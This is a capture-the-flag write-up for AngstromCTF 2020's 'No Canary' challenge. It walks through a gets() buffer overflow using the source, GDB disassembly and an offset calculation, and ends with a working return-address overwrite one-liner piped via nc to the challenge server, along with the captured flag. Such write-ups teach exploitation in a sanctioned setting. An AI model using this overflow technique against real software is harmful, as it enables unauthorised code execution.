No Canary was the first challenge in the Binary category from AngstromCTF 2020. The challenge provided a 64-bit executable and some source code (below). Viewing the source, it is apparent that a 20 character buffer is initialized, and the vulnerable function gets allows us to supply input into that buffer. Since gets doesn’t limit how many characters we write into the buffer, we can write more than 20, resulting in a buffer overflow.

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void flag() {
	system("/bin/cat flag.txt");
}

int main() {
	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stdout, NULL, _IONBF, 0);
	gid_t gid = getegid();
	setresgid(gid, gid, gid);

	puts("Ahhhh, what a beautiful morning on the farm!\n");
	puts("       _.-^-._    .--.");
	puts("    .-'   _   '-. |__|");
	puts("   /     |_|     \\|  |");
	puts("  /               \\  |");
	puts(" /|     _____     |\\ |");
	puts("  |    |==|==|    |  |");
	puts("  |    |--|--|    |  |");
	puts("  |    |==|==|    |  |");
	puts("^^^^^^^^^^^^^^^^^^^^^^^^\n");
	puts("Wait, what? It's already noon!");
	puts("Why didn't my canary wake me up?");
	puts("Well, sorry if I kept you waiting.");
	printf("What's your name? ");

	char name[20];
	gets(name);

	printf("Nice to meet you, %s!\n", name);
}

Since the source features a “flag” function it’s safe to assume that the goal is to overwrite the return pointer of main to point to this function. I started off by running the challenge in my ctf docker. As expected, writing more than 20 characters into the buffer resulted in a segmentation fault.

root@9dc002f9142e /pwn# chmod +x no_canary
root@9dc002f9142e /pwn# ./no_canary 
Ahhhh, what a beautiful morning on the farm!

       _.-^-._    .--.
    .-'   _   '-. |__|
   /     |_|     \|  |
  /               \  |
 /|     _____     |\ |
  |    |==|==|    |  |
  |    |--|--|    |  |
  |    |==|==|    |  |
^^^^^^^^^^^^^^^^^^^^^^^^

Wait, what? It's already noon!
Why didn't my canary wake me up?
Well, sorry if I kept you waiting.
What's your name? AAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBB
Nice to meet you, AAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBB!
fish: './no_canary' terminated by signal SIGSEGV (Address boundary error)
root@9dc002f9142e /pwn# 

To figure out how to exploit this, I launched GDB to find the offset of the buffer and the return pointer which we want to overwrite.

(gdb) disas main
Dump of assembler code for function main:
   0x0000000000401199 <+0>:	push   rbp
   0x000000000040119a <+1>:	mov    rbp,rsp
   0x000000000040119d <+4>:	sub    rsp,0x20
   0x00000000004011a1 <+8>:	mov    rax,QWORD PTR [rip+0x2ec8]        # 0x404070 <stdin@@GLIBC_2.2.5>
   0x00000000004011a8 <+15>:	mov    ecx,0x0
   0x00000000004011ad <+20>:	mov    edx,0x2
   0x00000000004011b2 <+25>:	mov    esi,0x0
   0x00000000004011b7 <+30>:	mov    rdi,rax
   0x00000000004011ba <+33>:	call   0x401090 <setvbuf@plt>
   0x00000000004011bf <+38>:	mov    rax,QWORD PTR [rip+0x2e9a]        # 0x404060 <stdout@@GLIBC_2.2.5>
   0x00000000004011c6 <+45>:	mov    ecx,0x0
   0x00000000004011cb <+50>:	mov    edx,0x2
   0x00000000004011d0 <+55>:	mov    esi,0x0
   0x00000000004011d5 <+60>:	mov    rdi,rax
   0x00000000004011d8 <+63>:	call   0x401090 <setvbuf@plt>
   0x00000000004011dd <+68>:	mov    eax,0x0
   0x00000000004011e2 <+73>:	call   0x401080 <getegid@plt>
   0x00000000004011e7 <+78>:	mov    DWORD PTR [rbp-0x4],eax
   0x00000000004011ea <+81>:	mov    edx,DWORD PTR [rbp-0x4]
   0x00000000004011ed <+84>:	mov    ecx,DWORD PTR [rbp-0x4]
   0x00000000004011f0 <+87>:	mov    eax,DWORD PTR [rbp-0x4]
   0x00000000004011f3 <+90>:	mov    esi,ecx
   0x00000000004011f5 <+92>:	mov    edi,eax
   0x00000000004011f7 <+94>:	mov    eax,0x0
   0x00000000004011fc <+99>:	call   0x401040 <setresgid@plt>
   0x0000000000401201 <+104>:	lea    rdi,[rip+0xe18]        # 0x402020
   0x0000000000401208 <+111>:	call   0x401030 <puts@plt>
   0x000000000040120d <+116>:	lea    rdi,[rip+0xe3a]        # 0x40204e
   0x0000000000401214 <+123>:	call   0x401030 <puts@plt>
   0x0000000000401219 <+128>:	lea    rdi,[rip+0xe45]        # 0x402065
   0x0000000000401220 <+135>:	call   0x401030 <puts@plt>
   0x0000000000401225 <+140>:	lea    rdi,[rip+0xe50]        # 0x40207c
   0x000000000040122c <+147>:	call   0x401030 <puts@plt>
   0x0000000000401231 <+152>:	lea    rdi,[rip+0xe5b]        # 0x402093
   0x0000000000401238 <+159>:	call   0x401030 <puts@plt>
   0x000000000040123d <+164>:	lea    rdi,[rip+0xe66]        # 0x4020aa
   0x0000000000401244 <+171>:	call   0x401030 <puts@plt>
   0x0000000000401249 <+176>:	lea    rdi,[rip+0xe71]        # 0x4020c1
   0x0000000000401250 <+183>:	call   0x401030 <puts@plt>
   0x0000000000401255 <+188>:	lea    rdi,[rip+0xe7c]        # 0x4020d8
   0x000000000040125c <+195>:	call   0x401030 <puts@plt>
   0x0000000000401261 <+200>:	lea    rdi,[rip+0xe59]        # 0x4020c1
   0x0000000000401268 <+207>:	call   0x401030 <puts@plt>
   0x000000000040126d <+212>:	lea    rdi,[rip+0xe7b]        # 0x4020ef
   0x0000000000401274 <+219>:	call   0x401030 <puts@plt>
   0x0000000000401279 <+224>:	lea    rdi,[rip+0xe90]        # 0x402110
   0x0000000000401280 <+231>:	call   0x401030 <puts@plt>
   0x0000000000401285 <+236>:	lea    rdi,[rip+0xea4]        # 0x402130
   0x000000000040128c <+243>:	call   0x401030 <puts@plt>
   0x0000000000401291 <+248>:	lea    rdi,[rip+0xec0]        # 0x402158
   0x0000000000401298 <+255>:	call   0x401030 <puts@plt>
   0x000000000040129d <+260>:	lea    rdi,[rip+0xed7]        # 0x40217b
   0x00000000004012a4 <+267>:	mov    eax,0x0
   0x00000000004012a9 <+272>:	call   0x401060 <printf@plt>
   0x00000000004012ae <+277>:	lea    rax,[rbp-0x20]
   0x00000000004012b2 <+281>:	mov    rdi,rax
   0x00000000004012b5 <+284>:	mov    eax,0x0
   0x00000000004012ba <+289>:	call   0x401070 <gets@plt>
   0x00000000004012bf <+294>:	lea    rax,[rbp-0x20]
   0x00000000004012c3 <+298>:	mov    rsi,rax
   0x00000000004012c6 <+301>:	lea    rdi,[rip+0xec1]        # 0x40218e
   0x00000000004012cd <+308>:	mov    eax,0x0
   0x00000000004012d2 <+313>:	call   0x401060 <printf@plt>
   0x00000000004012d7 <+318>:	mov    eax,0x0
   0x00000000004012dc <+323>:	leave  
   0x00000000004012dd <+324>:	ret    
End of assembler dump.

(gdb) b *0x00000000004012bf
Breakpoint 1 at 0x4012bf
(gdb) b *0x00000000004012dd
Breakpoint 2 at 0x4012dd

(gdb) r
Starting program: /pwn/no_canary 
Ahhhh, what a beautiful morning on the farm!

       _.-^-._    .--.
    .-'   _   '-. |__|
   /     |_|     \|  |
  /               \  |
 /|     _____     |\ |
  |    |==|==|    |  |
  |    |--|--|    |  |
  |    |==|==|    |  |
^^^^^^^^^^^^^^^^^^^^^^^^

Wait, what? It's already noon!
Why didn't my canary wake me up?
Well, sorry if I kept you waiting.
What's your name? AAAABBBB

Breakpoint 1, 0x00000000004012bf in main ()

(gdb) x/4xg $rsp
0x7fffffffe640:	0x4242424241414141	0x0000000000401000
0x7fffffffe650:	0x00007fffffffe740	0x0000000000000000
(gdb) c
Continuing.
Nice to meet you, AAAABBBB!

Breakpoint 2, 0x00000000004012dd in main ()
(gdb) x/4xg $rsp
0x7fffffffe668:	0x00007ffff7a2d830	0x0000000000000001
0x7fffffffe678:	0x00007fffffffe748	0x00000001f7ffcca0
(gdb) x flag
0x401186 <flag>:	0xe5894855
(gdb) q

Examining the stack pointer after the gets call showes us that the buffer starts at the address 0x7fffffffe640. We also find the return pointer at 0x7fffffffe668 and the flag function at 0x401186. Finally, we can used python to subtract the buffer address from the return pointer address. This will tell us how many characters we need to write to reach the return pointer.

Python 2.7.12 (default, Oct  8 2019, 14:14:10) 
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> 0x7fffffffe668 - 0x7fffffffe640
40

Since we know the address of the flag function and the offset we need to write to get to the return pointer (40), we are ready to write an exploit to try on the challenge server (shell.actf.co on port 20700). I used inline python for this, but pwntools would have worked just as well. As a side note, make sure to always put your addresses in little endian as I did below.

root@9dc002f9142e /pwn# python -c "print 'A' * 40 + '\x86\x11\x40\x00\x00\x00\x00\x00'" | nc shell.actf.co 20700
Ahhhh, what a beautiful morning on the farm!

       _.-^-._    .--.
    .-'   _   '-. |__|
   /     |_|     \|  |
  /               \  |
 /|     _____     |\ |
  |    |==|==|    |  |
  |    |--|--|    |  |
  |    |==|==|    |  |
^^^^^^^^^^^^^^^^^^^^^^^^

Wait, what? It's already noon!
Why didn't my canary wake me up?
Well, sorry if I kept you waiting.
What's your name? Nice to meet you, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?@!
actf{that_gosh_darn_canary_got_me_pwned!}
Segmentation fault

This gives actf{that_gosh_darn_canary_got_me_pwned!}, which is the flag to the challenge!